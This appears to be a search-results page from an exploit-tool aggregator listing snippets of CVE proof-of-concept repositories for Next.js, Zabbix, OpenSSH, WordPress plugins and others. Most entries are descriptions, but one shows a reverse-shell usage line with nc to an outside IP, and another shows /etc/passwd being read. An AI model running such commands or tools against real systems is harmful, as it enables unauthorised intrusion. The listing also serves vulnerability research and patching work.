271154 matches found
CVE-2025-66478
CVE-2025-66478 - Analysis of Real Attack Logs for Next.js Server Actions RCE Vulnerability Overview This project collects real attack logs recorded from a Next.js 15.1.2 application running in a Docker container exposed to the internet. These logs show how the CVE-2025-66478 vulnerability is bein...
PoC-CVE-2015-10141-Xdebug
PoC-CVE-2015-10141 Custom Python exploit for Xdebug β€ 2.5.5 CVE-2015-10141. Description This repository contains my Proof-of-Concept PoC exploit for the Xdebug remote code execution vulnerability in versions 2.5.5 and earlier. The script leverages the unauthenticated debugging protocol exposed on...
RemoteMouse-3.008-RCE
CVE-2021-35448 - Remote Mouse Exploit Description This exploit targets the CVE-2021-35448 vulnerability in the Remote Mouse application formerly WiFi Mouse. POC CVE-2021-35448.webm Usage Basic Syntax root@kitploit: python3 CVE-2021-35448.py -t OPTIONS Options -t, --target: Target IP address...
CVE-2016-0792
Exploit for Jenkins serialization vulnerability - CVE-2016-0792 https://www.exploit-db.com/exploits/42394/ More information can be found here 1. Contrast Security 2. Pentester Lab Requirements 1. Python 3.6.x 2. requests library is required for this exploit to work sudo pip install requests Usage...
CVE-2024-42327_Zabbix_SQLi
π‘οΈ Zabbix 7.0.0 SQL Injection Exploit Script A Python script to exploit a Zabbix 7.0.0 authenticated SQL injection vulnerability, supporting multiple modes of action including user data extraction, session token leaks, remote command execution RCE, and custom query injection. β οΈ DISCLAIMER: This...
zoneminder_CVE-2023-26035
Exploit - ZoneMinder CVE-2023-26035 There is a Unauthenticated Remote Code Execution RCE affecting ZoneMinder Snapshots. This is an exploit for CVE-2023-26035. Affected versions ZoneMinder 1.36.33 and ZoneMinder 1.37.33. Usage Check if the target is vulnerable: root@kitploit: python3 zoneminder.p...
CVE-2020-5902
CVE-2020-5902 Python script to check CVE-2020-5902 F5 BIG-IP devices. Usage root@kitploit: python3 CVE-2020-5902.py -i Output root@kitploit: - Python script to check CVE-2020-5902 F5 BIG-IP devices. | coded by Abdullah AlZahrani ! Your target: 127.0.0.1 I /etc/passwd readable PoC...
CVE-2022-24637
CVE-2022-24637 Open Web Analytics 1.7.3 - Exploit de EjecuciΓ³n Remota de CΓ³digo v2 Exploit funcional para Open Web Analytics 1.7.3 - RCE mejorado con el php reverse shell de pentestmonkey. Corregido el problema de no poder encontrar al usuario en la cachΓ©. El exploit original se puede encontrar...
Chamilo-CVE-2023-4220-RCE-Exploit
CVE-2023-4220 Chamilo LMS Unauthenticated Big Upload File Remote Code Execution Overview This repository contains a proof-of-concept PoC exploit for the vulnerability identified as CVE-2023-4220 in Chamilo LMS. This exploit leverages an unauthenticated file upload vulnerability, allowing remote...
CVE-2019-3980
CVE-2019-3980 CVE-2019-3980 exploit written in win32/c++ openssl dependency. Port of https://github.com/tenable/poc/blob/master/Solarwinds/Dameware/dwrcsdwDrvInstrce.py Instructions This PoC requires staticly linked openssl libraries. Place openssl includes in thirdparty\include\openssl and libs ...
CVE-2024-49379
Proof of Concept PoC for CVE-2024-49379 This repository contains a Python-based Proof of Concept PoC for a critical vulnerability identified in UmbrelOS. The vulnerability allows for Cross-Site Scripting XSS, which can escalate to Remote Code Execution RCE under specific conditions. Overview CVE ...
CVE-2024-10586
CVE-2024-10586 Debug Tool = 2.2 - Unauthenticated Arbitrary File Creation Description: The Debug Tool plugin for WordPress is vulnerable to arbitrary file creation due to a missing capability check on the dbtpullimage function and missing file type validation in all versions up to, and including,...
CVE-2022-1040
CVE-2022-1040-sophos-rce-poc sophos rce poc sophos webmin portal auth bypass and rce all in one script; The vulnerability affects Sophos Firewall v18.5 MR3 18.5.3 and older Mitigation: update to latest version asap https://support.sophos.com/support/s/article/KB-000043853?language=enUS to avoid...
POC-IngressNightmare-CVE-2025-1974
POC of IngressNightmare CVE-2025-1974 Developed from: https://github.com/yoshino-s/CVE-2025-1974 https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities Talk is cheap, just look at the code. Detailed can be found at https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities Usage 1...
CVE-2023-30258-RCE-POC
CVE-2023-30258-RCE-POC POC for CVE-2023-30258-RCE by n0o0b Usage root@kitploit: usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD, --cmd C...
cve-2024-6387-poc
cve-2024-6387-poc a signal handler race condition in OpenSSH's server sshd 7etsuo Description An exploit for CVE-2024-6387, targeting a signal handler race condition in OpenSSH's server sshd on glibc-based Linux systems. The vulnerability allows for remote code execution as root due to...
CVE-2025-32579
β οΈ CVE-2025-32579 - Critical RCE via Sync Posts Plugin WordPress π¦ Affects: Sync Posts 𧨠CVSS Score: 9.9 CRITICAL π CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H π§ Vulnerability Overview The Sync Posts WordPress plugin by SoftClever Limited is vulnerable to an Unrestricted File Upload...
RCE-PoC-CVE-2021-25646
CVE-2021-25646 Proof-of-Concept Go Version Overview This repository contains a proof-of-concept PoC exploit for CVE-2021-25646, a critical remote code execution vulnerability in Apache Druid. The exploit is written in Go and allows for interactive command injection via the terminal. Features...
CVE-2022-35914_poc
CVE-2022-35914poc Modified for GLPI Offsec Lab: calluserfunc, arraymap, passthru References Modified to work for Proving Grounds Practice Lab: GLPI https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr https://github.com/cosad3s/CVE-2022-35914-poc/blob/main/CVE-2022-35914.p...
CVE-2024-29050
CVE-2024-29050 CVE-2024-29050 is a security vulnerability in Windows' cryptographic services, particularly in how certificates are processed during cryptographic operations. The issue stems from an integer overflow, which occurs when calculations on data like file sizes or buffer lengths exceed t...